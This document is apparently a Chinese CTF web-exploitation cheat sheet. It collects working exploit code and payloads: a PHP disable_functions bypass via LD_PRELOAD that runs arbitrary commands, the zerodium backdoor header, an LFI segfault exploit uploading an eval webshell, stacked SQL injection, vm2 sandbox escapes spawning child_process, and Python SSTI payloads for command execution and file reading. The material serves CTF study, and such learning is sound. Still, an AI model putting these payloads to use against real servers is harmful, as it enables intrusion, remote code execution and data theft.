一、無數字字母shell
利用到的PHP特性:
1、代碼中沒有引號的字符都自動作為字符串
PHP的經典特性“Use of undefined constant”,會將代碼中沒有引號的字符都自動作為字符串,7.2開始提出要被廢棄,不過目前還存在着。可以理解為
$_GET['cmd'] = $_GET[cmd]
,目前PHP8版本尚未測試是否能用
2、使Ascii碼大於Ox7F的字符都會被當作字符串
3、PHP在獲取HTTP GET參數的時候默認是獲得到了字符串類型
4、PHP中的的大括號(花括號}使用詳解
在字符串的變量的后面跟上{}大括號或者中括號[],里面填寫了數字,這里是把字符串變量當成數組處理,可以理解為
${_GET}{cmd} = $_GET['cmd'] = $_GET[cmd]
5、字符串可以用!操作符來進行布爾類型的轉換
<?php
var_dump(@a); //string(1) "a"
var_dump(!@a); //bool(false)
var_dump(!!@a); //bool(true)
6、PHP弱類型特性
PHP由於弱類型這個特性,true的值為1,所以true+ture=2
7、自增性
在受到限制的時候,可以通過自增獲得自己想要的字符
'a'++ => 'b','b'++ => 'c'
二、文件上傳
1、利用.htaccess上傳文件
- 當
<?
被過濾時,用偽協議繞過,上傳時上傳base64編碼過的文件
AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"
意思是將后綴.xxx的文件當作php文件進行執行。
三、繞過open_basedir/disable_function的幾種方法
- 參考鏈接:
無需sendmail:巧用LD_PRELOAD突破disable_functions
disable_function繞過--利用LD_PRELOAD
bypass_disablefunc_via_LD_PRELOAD
1、chdir繞過
<?php
mkdir('xxx');
chdir('xxx');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));
?>
2、鏈接文件繞過
PHP5版本可用
3、disable_function繞過--利用LD_PRELOAD
條件:PHP 支持putenv()和下面用到的函數
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
//error_log("err",1,"","");
//$img = Imagick("1.mp4");//如果有ImageMagick這個擴展(文件必須存在)
//imap_mail("","","");//需要安裝imap拓展
//mb_send_mail("","","");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
四、常見RCE
1、北京時間2021.3.29,git.php.net服務器遭到黑客攻陷,php源碼被黑客植入后門。
改包頭:
payload:User-Agentt: zerodiumsystem('cat /flag');
2、本地文件包含RCE
php7 segment fault特性
php://filter/string.strip_tags=/etc/passwd
php執行過程中出現 Segment Fault,這樣如果在此同時上傳文件,那么臨時文件就會被保存在/tmp目錄,不會被刪除
payload:(例題:[NPUCTF2020]ezinclude)
import requests
from io import BytesIO
payload = "<?php eval($_POST[cmd])?>;"
file_data={
'file': BytesIO(payload.encode())
}
url="http://588b9bf7-3c49-41b6-93e3-823b74ef67bf.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(False)
五、SQL注入
1、md5繞過
查詢語句:SELECT * FROM users WHERE password ='".md5($password,true)."' limit 0,1
payload:password=12958192621165157191246674165187868 或 password=ffifdyop
2、regexp注入
用於逐字符注出:(NCTF2019—SQLi)
payload:name(表名或字段名) regexp '^[a-zA-Z0-9]'(這里需要爆破字符)
3、用於閉合引號的注釋符
#
--+
--
;%00
/**/
`
4、mysql中點引號( ' )和反勾號( ` )的區別
linux下不區分,windows下區分
區別:
單引號( ' )或雙引號主要用於字符串的引用符號
eg:mysql> SELECT 'hello', "hello" ;
反勾號( ` )主要用於數據庫、表、索引、列和別名用的引用符是[Esc下面的鍵]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
5、堆疊注入
(1)改數據表
運用:(2021虎符WEB—“慢慢做”管理系統)
paylaod:';use ctf2;rename table `fake_admin` to `test`;rename table `real_admin_here_do_you_find` to `fake_admin`;
(2)預處理語句
關於MySQL中的預處理語句原理與使用,這篇文章講解的比較詳細:MySQL的SQL預處理(Prepared)。本題中由於可以使用堆疊查詢,並且需要使用SELECT關鍵字並繞過過濾,因此想到利用字符串轉換與拼接構造語句最后執行,這時就可以使用預處理語句。
預處理語句使用方式:
PREPARE sqla from '[my sql sequece]'; //預定義SQL語句
EXECUTE sqla; //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla; //刪除預定義SQL語句
預定義語句也可以通過變量進行傳遞,比如:
SET @tn = 'hahaha'; //存儲表名
SET @sql = concat('select * from ', @tn); //存儲SQL語句
PREPARE sqla from @sql; //預定義SQL語句
EXECUTE sqla; //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla; //刪除預定義SQL語句
運用:(Web-隨便注)
paylaod:';SET @sql=concat(char(115,101,108,101,99,116)," * from `table_name`");PREPARE sqla from @sql;EXECUTE sqla;#
六、nodejs
1、繞過關鍵字過濾(prototype、process等)
(1)拼接繞過
f.constructor("return process")();
等價於
f[[c,o,n,s,t,r,u,c,t,o,r]join]([r,e,t,u,r,n,,p,r,o,c,e,s,s]join)();
(2)結合數組調用繞過
`${`${`prototyp`}e`}` == prototype
2、vm2沙盒逃逸([HFCTF2020]JustEscape)
方法一:
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
方法二:
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
七、SSTI
PYTHON
1、各種payload
命令執行
<class 'warnings.catch_warnings'>
''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")
<class 'subprocess.Popen'>
{{''.__class__.__mro__[1].__subclasses__()[437]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
<class '_frozen_importlib._ModuleLock'>
#eval
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
#__import__
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()
其他利用方法(os.system執行成功的返回值為0)
#萬金油,必會
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#<class '_frozen_importlib_external.FileFinder'>
().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")
#<class 'codecs.StreamReaderWriter'>
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
#<class 'os._wrap_close'>
[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')
<class 'traceback.FrameSummary'>
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}
文件讀取
<class '_frozen_importlib._ModuleLock'>
{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}
<class 'click.utils.LazyFile'>
{{ ''.__class__.__mro__[1].__subclasses__()[341]('test.txt').read()}}
<class 'warnings.catch_warnings'>
{{''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].open('test.txt','r').read()}}
<class 'codecs.IncrementalEncoder'>
{{{}.__class__.__mro__[1].__subclasses__()[103].__init__.__globals__['open']('test.txt').read()}}
2、部分過濾繞過
函數名被過濾——用+
號拼接,例如:'po'+'pen' = 'popen'
關鍵字符被過濾——使用編碼繞過
連接的.
被過濾——用|attr
進行拼接,例如:attr("\x5f\x5fclass\x5f\x5f")|attr("\x5F\x5Fbases\x5F\x5F") = __class__.__bases__
包裹的{{ }}
被過濾——用{% %}
繞過
RUBY
payload
<%= 7 * 7 %>
例題:[SCTF2019]Flag Shop
八、反序列化
PHP
魔術方法
__get
當對象調用不可訪問屬性時,就會自動觸發get魔法方法。
__call
在對象調用不可訪問函數時,就會自動觸發call魔法方法。
__construct
當對象被創建的時候調用。
__destruct
當對象被銷毀的時候調用。
__toString
當對象被當作一個字符串使用時候調用(不僅僅是echo的時候,比如file_exists()判斷也會觸發)。
__sleep
序列化對象之前就調用此方法(其返回需要是一個數組)。
__wakeup
反序列化恢復對象之前就調用此方法。
__call
當調用對象中不存在的方法會自動調用此方法。
- SoapClient
這個也算是目前被挖掘出來最好用的一個內置類,php5、7都存在此類,可以利用SoapClient中的__call方法進行SSRF。
原文地址:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0
字符逃逸
function safe($parm)
{
$array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
return str_replace($array, 'hacker', $parm);
}
問題就出在這里,該函數對字符串進行了一些替換,但是替換前后字符串長度可能發生變化,比如將union替換為hacker增加了一個字符,於是我們可以利用這個漏洞將我們的序列化字符串逃逸出來。如果不這樣做,payload就會當作一個普通字符串,而不是序列化里的內容。
雜項
哈希長度拓展攻擊
payload:(例題:[NPUCTF2020]ezinclude)
import os
import requests
for i in range(1,12):
data=os.popen('hashpump -s fa25e54758d5d5c1927781a6ede89f8a -d admin -k '+str(i)+' -a admin').read()
name=data.split('\n')[0]
password=data.split('\n')[1].replace('\\x','%')
result=requests.get('http://c1952ab8-b389-4d44-b2b5-07020d9d4886.node3.buuoj.cn/?name='+password+'&pass='+name).text
print(result)
PHP根據隨機數預測種子
php_mt_rand 工具只能用於爆破mt_rand()函數產生的隨機數的種子值, 無論是否顯式調用mt_srand()函數播種,但不能用於mt_rand(1,1000)這種指定范圍的和rand函數的爆破
例題:[MRCTF2020]Ezaudit